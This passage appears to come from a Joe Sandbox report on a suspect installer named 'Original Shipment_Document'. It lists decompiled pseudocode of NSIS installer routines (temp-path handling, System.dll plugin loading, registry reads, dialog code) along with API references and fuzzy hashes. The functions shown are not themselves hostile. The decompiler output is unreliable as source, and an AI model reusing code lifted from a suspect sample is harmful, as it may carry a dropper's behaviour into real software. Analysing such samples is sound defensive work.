			}

0x00405eea
0x00405ef5
0x00405ef9
0x00405f00
0x00405f0c
0x00405f1c
0x00405f1e
0x00405f36
0x00405f37
0x00405f3e
0x00405f3f
0x00000000
0x00000000
0x00405f22
0x00405f29
0x00405f31
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f29
0x00405f41
0x00000000
0x00405f55
0x00405f0e
0x00405f14
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f14
0x00405efb
0x00000000

APIs

Part of subcall function 00406507: lstrcpynW.KERNEL32(?,?,00000400,00403667,00429220,NSIS Error), ref: 00406514

Part of subcall function 00405E81: CharNextW.USER32(?,?,00425F10,?,00405EF5,00425F10,00425F10, 4|w,?,C:\Users\user\AppData\Local\Temp\,00405C33,?,777C3420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405E8F
Part of subcall function 00405E81: CharNextW.USER32(00000000), ref: 00405E94
Part of subcall function 00405E81: CharNextW.USER32(00000000), ref: 00405EAC

lstrlenW.KERNEL32(00425F10,00000000,00425F10,00425F10, 4|w,?,C:\Users\user\AppData\Local\Temp\,00405C33,?,777C3420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405F37
GetFileAttributesW.KERNEL32(00425F10,00425F10,00425F10,00425F10,00425F10,00425F10,00000000,00425F10,00425F10, 4|w,?,C:\Users\user\AppData\Local\Temp\,00405C33,?,777C3420,C:\Users\user\AppData\Local\Temp\), ref: 00405F47

Strings

4|w, xrefs: 00405EE0
C:\Users\user\AppData\Local\Temp\, xrefs: 00405EDE

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 4|w$C:\Users\user\AppData\Local\Temp\
API String ID: 3248276644-312490033
Opcode ID: 35502845658bd9c497c4a55af97ec41c1cd1fbb9e0c21b6c2721f1846b66cb6f
Instruction ID: 801aa802fb238c59ad0d4c26bfab73d63669863fdcce98965586ad3d6a32a901
Opcode Fuzzy Hash: 35502845658bd9c497c4a55af97ec41c1cd1fbb9e0c21b6c2721f1846b66cb6f
Instruction Fuzzy Hash: CCF0D135105D6226D622333A9C09AAF1508CF82364B5A053FBCD1B22D1DF3C8A53DDBE

Uniqueness

Uniqueness Score: -1.00%

Function 00405DD6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00405DD6(WCHAR* _a4) {
				WCHAR* _t9;

				_t9 = _a4;
				_push( &(_t9[lstrlenW(_t9)]));
				_push(_t9);
				if( *(CharPrevW()) != 0x5c) {
					lstrcatW(_t9, 0x40a014);
				}
				return _t9;
			}

0x00405dd7
0x00405de4
0x00405de5
0x00405df0
0x00405df8
0x00405df8
0x00405e00

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004034E4,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004037DA), ref: 00405DDC
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,004034E4,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004037DA), ref: 00405DE6
lstrcatW.KERNEL32(?,0040A014), ref: 00405DF8

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405DD6

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3355392842
Opcode ID: 7317fb0b60a0da6156192e69c80d181f5022b3d5f83b8f009beaa75eacd33bdb
Instruction ID: 7ce36c7f15bc9200e130dd8400e4741a81934e97230acaa32a90c98a69430a15
Opcode Fuzzy Hash: 7317fb0b60a0da6156192e69c80d181f5022b3d5f83b8f009beaa75eacd33bdb
Instruction Fuzzy Hash: 09D0A7311019347AC1117B44AC04DDF67ACEE86304381403BF101B70A4CB7C5D518BFD

Uniqueness

Uniqueness Score: -1.00%

Function 718D10E1 Relevance: 6.4, APIs: 5, Instructions: 145
memoryCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E718D10E1(signed int _a8, intOrPtr* _a12, void* _a16, void* _a20) {
				void* _v0;
				void* _t27;
				signed int _t29;
				void* _t30;
				void* _t34;
				void* _t36;
				void* _t38;
				void* _t40;
				void* _t48;
				void* _t54;
				void* _t63;
				void* _t64;
				signed int _t66;
				void* _t67;
				void* _t73;
				void* _t74;
				void* _t77;
				void* _t80;
				void _t81;
				void _t82;
				intOrPtr _t84;
				void* _t86;
				void* _t88;

				 *0x718d506c = _a8;
				 *0x718d5070 = _a16;
				 *0x718d5074 = _a12;
				_a12( *0x718d5048, E718D1651, _t73);
				_t66 =  *0x718d506c +  *0x718d506c * 4 << 3;
				_t27 = E718D12E3();
				_v0 = _t27;
				_t74 = _t27;
				if( *_t27 == 0) {
					L28:
					return GlobalFree(_t27);
				}
				do {
					_t29 =  *_t74 & 0x0000ffff;
					_t67 = 2;
					_t74 = _t74 + _t67;
					_t88 = _t29 - 0x66;
					if(_t88 > 0) {
						_t30 = _t29 - 0x6c;
						if(_t30 == 0) {
							L23:
							_t31 =  *0x718d5040;
							if( *0x718d5040 == 0) {
								goto L26;
							}
							E718D1603( *0x718d5074, _t31 + 4, _t66);
							_t34 =  *0x718d5040;
							_t86 = _t86 + 0xc;
							 *0x718d5040 =  *_t34;
							L25:
							GlobalFree(_t34);
							goto L26;
						}
						_t36 = _t30 - 4;
						if(_t36 == 0) {
							L13:
							_t38 = ( *_t74 & 0x0000ffff) - 0x30;
							_t74 = _t74 + _t67;
							_t34 = E718D1312(E718D135A(_t38));
							L14:
							goto L25;
						}
						_t40 = _t36 - _t67;
						if(_t40 == 0) {
							L11:
							_t80 = ( *_t74 & 0x0000ffff) - 0x30;
							_t74 = _t74 + _t67;
							_t34 = E718D1381(_t80, E718D12E3());
							goto L14;
						}
						L8:
						if(_t40 == 1) {
							_t81 = GlobalAlloc(0x40, _t66 + 4);
							_t10 = _t81 + 4; // 0x4
							E718D1603(_t10,  *0x718d5074, _t66);
							_t86 = _t86 + 0xc;
							 *_t81 =  *0x718d5040;
							 *0x718d5040 = _t81;
						}
						goto L26;
					}
					if(_t88 == 0) {
						_t48 =  *0x718d5070;
						_t77 =  *_t48;
						 *_t48 =  *_t77;
						_t49 = _v0;
						_t84 =  *((intOrPtr*)(_v0 + 0xc));
						if( *((short*)(_t77 + 4)) == 0x2691) {
							E718D1603(_t49, _t77 + 8, 0x38);
							_t86 = _t86 + 0xc;
						}
						 *((intOrPtr*)( *_a12 + 0xc)) = _t84;
						GlobalFree(_t77);
						goto L26;
					}
					_t54 = _t29 - 0x46;
					if(_t54 == 0) {
						_t82 = GlobalAlloc(0x40,  *0x718d506c +  *0x718d506c + 8);
						 *((intOrPtr*)(_t82 + 4)) = 0x2691;
						_t14 = _t82 + 8; // 0x8
						E718D1603(_t14, _v0, 0x38);
						_t86 = _t86 + 0xc;
						 *_t82 =  *( *0x718d5070);
						 *( *0x718d5070) = _t82;
						goto L26;
					}
					_t63 = _t54 - 6;
					if(_t63 == 0) {
						goto L23;
					}
					_t64 = _t63 - 4;
					if(_t64 == 0) {
						 *_t74 =  *_t74 + 0xa;
						goto L13;
					}
					_t40 = _t64 - _t67;
					if(_t40 == 0) {
						 *_t74 =  *_t74 + 0xa;
						goto L11;
					}
					goto L8;
					L26:
				} while ( *_t74 != 0);
				_t27 = _v0;
				goto L28;
			}

0x718d10eb
0x718d1100
0x718d1109
0x718d110e
0x718d1119
0x718d111c
0x718d1125
0x718d1129
0x718d112b
0x718d12b0
0x718d12ba
0x718d12ba
0x718d1132
0x718d1132
0x718d1137
0x718d1138
0x718d113a
0x718d113d
0x718d1256
0x718d1259
0x718d1271
0x718d1271
0x718d1278
0x00000000
0x00000000
0x718d1285
0x718d128a
0x718d128f
0x718d1294
0x718d129a
0x718d129b
0x00000000
0x718d129b
0x718d125b
0x718d125e
0x718d11bc
0x718d11bf
0x718d11c2
0x718d11cb
0x718d11d0
0x00000000
0x718d11d1
0x718d1264
0x718d1266
0x718d11a2
0x718d11a5
0x718d11a8
0x718d11b1
0x00000000
0x718d11b1
0x718d1164
0x718d1165
0x718d1177
0x718d1180
0x718d1184
0x718d118e
0x718d1191
0x718d1193
0x718d1193
0x00000000
0x718d1165
0x718d1143
0x718d1218
0x718d121d
0x718d1221
0x718d1223
0x718d122c
0x718d122f
0x718d1238
0x718d123d
0x718d123d
0x718d1247
0x718d124a
0x00000000
0x718d1250
0x718d1149
0x718d114c
0x718d11e9
0x718d11ed
0x718d11f7
0x718d11fb
0x718d1205
0x718d120a
0x718d1211
0x00000000
0x718d1211
0x718d1152
0x718d1155
0x00000000
0x00000000
0x718d115b
0x718d115e
0x718d11b8
0x00000000
0x718d11b8
0x718d1160
0x718d1162
0x718d119e
0x00000000
0x718d119e
0x00000000
0x718d12a1
0x718d12a1
0x718d12ab
0x00000000

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 718D1171
GlobalAlloc.KERNEL32(00000040,?), ref: 718D11E3
GlobalFree.KERNEL32 ref: 718D124A
GlobalFree.KERNEL32(?), ref: 718D129B
GlobalFree.KERNEL32(00000000), ref: 718D12B1

Memory Dump Source

Source File: 00000001.00000002.185991106331.00000000718D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 718D0000, based on PE: true

Associated: 00000001.00000002.185991032622.00000000718D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.185991182881.00000000718D4000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.185991257714.00000000718D6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_718d0000_Original Shipment_Document.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 82a144c09d81b45ebdb2b86cd819548a951a99030c25d867977b24acb798e51f
Instruction ID: 52c2ec79d5c2a02a5f67befba214a19dc72cb026de0ec4423e078650a368d242
Opcode Fuzzy Hash: 82a144c09d81b45ebdb2b86cd819548a951a99030c25d867977b24acb798e51f
Instruction Fuzzy Hash: 4C5159B69043069FE701CF7AD945A267BBAFF0D715B14822AE9C6DB250EB35AD00CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0040263E Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 65
stringCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040263E(void* __ebx, void* __edx, intOrPtr* __edi) {
				signed int _t14;
				int _t17;
				void* _t24;
				intOrPtr* _t29;
				void* _t31;
				signed int _t32;
				void* _t35;
				void* _t40;
				signed int _t42;

				_t29 = __edi;
				_t24 = __ebx;
				_t14 =  *(_t35 - 0x28);
				_t40 = __edx - 0x38;
				 *(_t35 - 0x10) = _t14;
				_t27 = 0 | _t40 == 0x00000000;
				_t32 = _t40 == 0;
				if(_t14 == __ebx) {
					if(__edx != 0x38) {
						_t17 = lstrlenW(E00402DA6(0x11)) + _t16;
					} else {
						E00402DA6(0x21);
						E00406529("C:\Users\Arthur\AppData\Local\Temp\nsaB9E2.tmp", "C:\Users\Arthur\AppData\Local\Temp\nsaB9E2.tmp\System.dll", 0x400);
						_t17 = lstrlenA("C:\Users\Arthur\AppData\Local\Temp\nsaB9E2.tmp\System.dll");
					}
				} else {
					E00402D84(1);
					 *0x40adc8 = __ax;
					 *((intOrPtr*)(__ebp - 0x44)) = __edx;
				}
				 *(_t35 + 8) = _t17;
				if( *_t29 == _t24) {
					L13:
					 *((intOrPtr*)(_t35 - 4)) = 1;
				} else {
					_t31 = E00406467(_t27, _t29);
					if((_t32 |  *(_t35 - 0x10)) != 0 ||  *((intOrPtr*)(_t35 - 0x24)) == _t24 || E004060D8(_t31, _t31) >= 0) {
						_t14 = E004060A9(_t31, "C:\Users\Arthur\AppData\Local\Temp\nsaB9E2.tmp\System.dll",  *(_t35 + 8));
						_t42 = _t14;
						if(_t42 == 0) {
							goto L13;
						}
					} else {
						goto L13;
					}
				}
				 *0x42a2a8 =  *0x42a2a8 +  *((intOrPtr*)(_t35 - 4));
				return 0;
			}

0x0040263e
0x0040263e
0x0040263e
0x00402643
0x00402646
0x00402649
0x0040264e
0x00402650
0x00402670
0x004026aa
0x00402672
0x00402674
0x00402688
0x00402695
0x00402695
0x00402652
0x00402654
0x00402659
0x00402667
0x0040266a
0x004026af
0x004026b2
0x0040292e
0x0040292e
0x004026b8
0x004026c1
0x004026c3
0x004026e2
0x004015b4
0x004015b6
0x00000000
0x004015bc
0x00000000
0x00000000
0x00000000
0x004026c3
0x00402c2d
0x00402c39

APIs

lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll), ref: 00402695

Strings

C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll, xrefs: 00402659, 0040267E, 00402690, 004026DC
C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp, xrefs: 00402683

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: lstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp$C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll
API String ID: 1659193697-3849183860
Opcode ID: cd711f7fcb673a3df19b64ec8d5d4b60150aae82eff34f86b7281c3841aa243d
Instruction ID: 065fa95b7f6ceba1475350b2e5fd0629383d1058fb688f50996a10954fc95768
Opcode Fuzzy Hash: cd711f7fcb673a3df19b64ec8d5d4b60150aae82eff34f86b7281c3841aa243d
Instruction Fuzzy Hash: D011E772B00305BBCB10BBB18E4AE9E76B0AF40749F21443FF002B62C1D6FD8891965E

Uniqueness

Uniqueness Score: -1.00%

Function 00403019 Relevance: 6.0, APIs: 4, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403019(intOrPtr _a4) {
				long _t2;
				struct HWND__* _t3;
				struct HWND__* _t6;

				if(_a4 == 0) {
					__eflags =  *0x420ec0; // 0x0
					if(__eflags == 0) {
						_t2 = GetTickCount();
						__eflags = _t2 -  *0x42a22c;
						if(_t2 >  *0x42a22c) {
							_t3 = CreateDialogParamW( *0x42a220, 0x6f, 0, E00402F93, 0);
							 *0x420ec0 = _t3;
							return ShowWindow(_t3, 5);
						}
						return _t2;
					} else {
						return E00406910(0);
					}
				} else {
					_t6 =  *0x420ec0; // 0x0
					if(_t6 != 0) {
						_t6 = DestroyWindow(_t6);
					}
					 *0x420ec0 = 0;
					return _t6;
				}
			}

0x00403020
0x0040303a
0x00403040
0x0040304a
0x00403050
0x00403056
0x00403067
0x00403070
0x00000000
0x00403075
0x0040307c
0x00403042
0x00403049
0x00403049
0x00403022
0x00403022
0x00403029
0x0040302c
0x0040302c
0x00403032
0x00403039
0x00403039

APIs

DestroyWindow.USER32(00000000,00000000,004031F7,00000001,?,?,?,?,?,00403847,?), ref: 0040302C
GetTickCount.KERNEL32 ref: 0040304A
CreateDialogParamW.USER32(0000006F,00000000,00402F93,00000000), ref: 00403067
ShowWindow.USER32(00000000,00000005,?,?,?,?,?,00403847,?), ref: 00403075

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 9e4f0c6fd4882656516298184c032d47dc92d32e43a921afdb36728f0eb821a0
Instruction ID: a5ec5a94053ed6ec85071f05b03f47ec4a0cd54214f56ca0ac695578935c79f2
Opcode Fuzzy Hash: 9e4f0c6fd4882656516298184c032d47dc92d32e43a921afdb36728f0eb821a0
Instruction Fuzzy Hash: 44F05430603620EBC2316F10FD0898B7B69FB04B43B424C7AF041B11A9CB7609828B9C

Uniqueness

Uniqueness Score: -1.00%

Function 004054DD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46
windowCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E004054DD(struct HWND__* _a4, int _a8, int _a12, long _a16) {
				int _t15;
				long _t16;

				_t15 = _a8;
				if(_t15 != 0x102) {
					if(_t15 != 0x200) {
						_t16 = _a16;
						L7:
						if(_t15 == 0x419 &&  *0x4236f4 != _t16) {
							_push(_t16);
							_push(6);
							 *0x4236f4 = _t16;
							E00404E9E();
						}
						L11:
						return CallWindowProcW( *0x4236fc, _a4, _t15, _a12, _t16);
					}
					if(IsWindowVisible(_a4) == 0) {
						L10:
						_t16 = _a16;
						goto L11;
					}
					_t16 = E00404E1E(_a4, 1);
					_t15 = 0x419;
					goto L7;
				}
				if(_a12 != 0x20) {
					goto L10;
				}
				E004044AF(0x413);
				return 0;
			}

0x004054e1
0x004054eb
0x00405507
0x00405529
0x0040552c
0x00405532
0x0040553c
0x0040553d
0x0040553f
0x00405545
0x00405545
0x0040554f
0x00000000
0x0040555d
0x00405514
0x0040554c
0x0040554c
0x00000000
0x0040554c
0x00405520
0x00405522
0x00000000
0x00405522
0x004054f1
0x00000000
0x00000000
0x004054f8
0x00000000

APIs

IsWindowVisible.USER32(?), ref: 0040550C
CallWindowProcW.USER32(?,?,?,?), ref: 0040555D

Part of subcall function 004044AF: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004044C1

Strings

, xrefs: 004054ED

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 97a082d88a1cb55e03e66ec7543f709465f1e5e5e36f808a355b04b1bc4c309f
Instruction ID: 896dd7550c11452a1c115f53988c63f353f89721b9370a05553ad38a214c3fb8
Opcode Fuzzy Hash: 97a082d88a1cb55e03e66ec7543f709465f1e5e5e36f808a355b04b1bc4c309f
Instruction Fuzzy Hash: 1601B171200609BFDF219F11DC81A6B3A27FB84354F100036FA01762D5C77A8E52DE5A

Uniqueness

Uniqueness Score: -1.00%

Function 004063D5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
registryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E004063D5(void* __ecx, void* __eflags, intOrPtr _a4, int _a8, short* _a12, char* _a16, signed int _a20) {
				int _v8;
				long _t21;
				long _t24;
				char* _t30;

				asm("sbb eax, eax");
				_v8 = 0x800;
				_t21 = E00406374(__eflags, _a4, _a8,  ~_a20 & 0x00000100 | 0x00020019,  &_a20);
				_t30 = _a16;
				if(_t21 != 0) {
					L4:
					 *_t30 =  *_t30 & 0x00000000;
				} else {
					_t24 = RegQueryValueExW(_a20, _a12, 0,  &_a8, _t30,  &_v8);
					_t21 = RegCloseKey(_a20);
					_t30[0x7fe] = _t30[0x7fe] & 0x00000000;
					if(_t24 != 0 || _a8 != 1 && _a8 != 2) {
						goto L4;
					}
				}
				return _t21;
			}

0x004063e3
0x004063e5
0x004063fd
0x00406402
0x00406407
0x00406445
0x00406445
0x00406409
0x0040641b
0x00406426
0x0040642c
0x00406437
0x00000000
0x00000000
0x00406437
0x0040644b

APIs

RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000800,00000000,?,00000000,?,?,Call,?,?,0040663C,80000002), ref: 0040641B
RegCloseKey.ADVAPI32(?,?,0040663C,80000002,Software\Microsoft\Windows\CurrentVersion,Call,Call,Call,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll), ref: 00406426

Strings

Call, xrefs: 004063DC

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: CloseQueryValue
String ID: Call
API String ID: 3356406503-1824292864
Opcode ID: 82c84a090bdb8ca3c021c82de9a83593d1fd11d46156a85a05ce0c6f6e9e8152
Instruction ID: c9f3435c3b1d2fe912d053175b0111224322d1506dc3db2c62222be5ebead77b
Opcode Fuzzy Hash: 82c84a090bdb8ca3c021c82de9a83593d1fd11d46156a85a05ce0c6f6e9e8152
Instruction Fuzzy Hash: D2017172500209ABDF21CF51CC06EDB3BB9EB55354F014039FD1592150D738D964DB94

Uniqueness

Uniqueness Score: -1.00%

Function 00403B21 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403B21() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t8;

				_t8 =  *0x4216cc;
				_t3 = E00403B06(_t2, 0);
				if(_t8 != 0) {
					do {
						_t6 = _t8;
						_t8 =  *_t8;
						FreeLibrary( *(_t6 + 8));
						_t3 = GlobalFree(_t6);
					} while (_t8 != 0);
				}
				 *0x4216cc =  *0x4216cc & 0x00000000;
				return _t3;
			}

0x00403b22
0x00403b2a
0x00403b31
0x00403b34
0x00403b34
0x00403b36
0x00403b3b
0x00403b42
0x00403b48
0x00403b4c
0x00403b4d
0x00403b55

APIs

FreeLibrary.KERNEL32(?,777C3420,00000000,C:\Users\user\AppData\Local\Temp\,00403AF9,00403A28,?), ref: 00403B3B
GlobalFree.KERNEL32(?), ref: 00403B42

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403B21

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3355392842
Opcode ID: 942278ec9c7e8339a206e332dc723704b636a129dd5b4a9861660f1353137a24
Instruction ID: 69a7d7bec05ee7f0f22c4a872385324a298b9ba4725761c8be5e054fe1390d88
Opcode Fuzzy Hash: 942278ec9c7e8339a206e332dc723704b636a129dd5b4a9861660f1353137a24
Instruction Fuzzy Hash: 25E0EC3750116097C6215F45EA08B5EBBB9AF54B26F09013AE9807B27187746C428B98

Uniqueness

Uniqueness Score: -1.00%

Function 00405E22 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00405E22(WCHAR* _a4) {
				WCHAR* _t5;
				WCHAR* _t7;

				_t7 = _a4;
				_t5 =  &(_t7[lstrlenW(_t7)]);
				while( *_t5 != 0x5c) {
					_push(_t5);
					_push(_t7);
					_t5 = CharPrevW();
					if(_t5 > _t7) {
						continue;
					}
					break;
				}
				 *_t5 =  *_t5 & 0x00000000;
				return  &(_t5[1]);
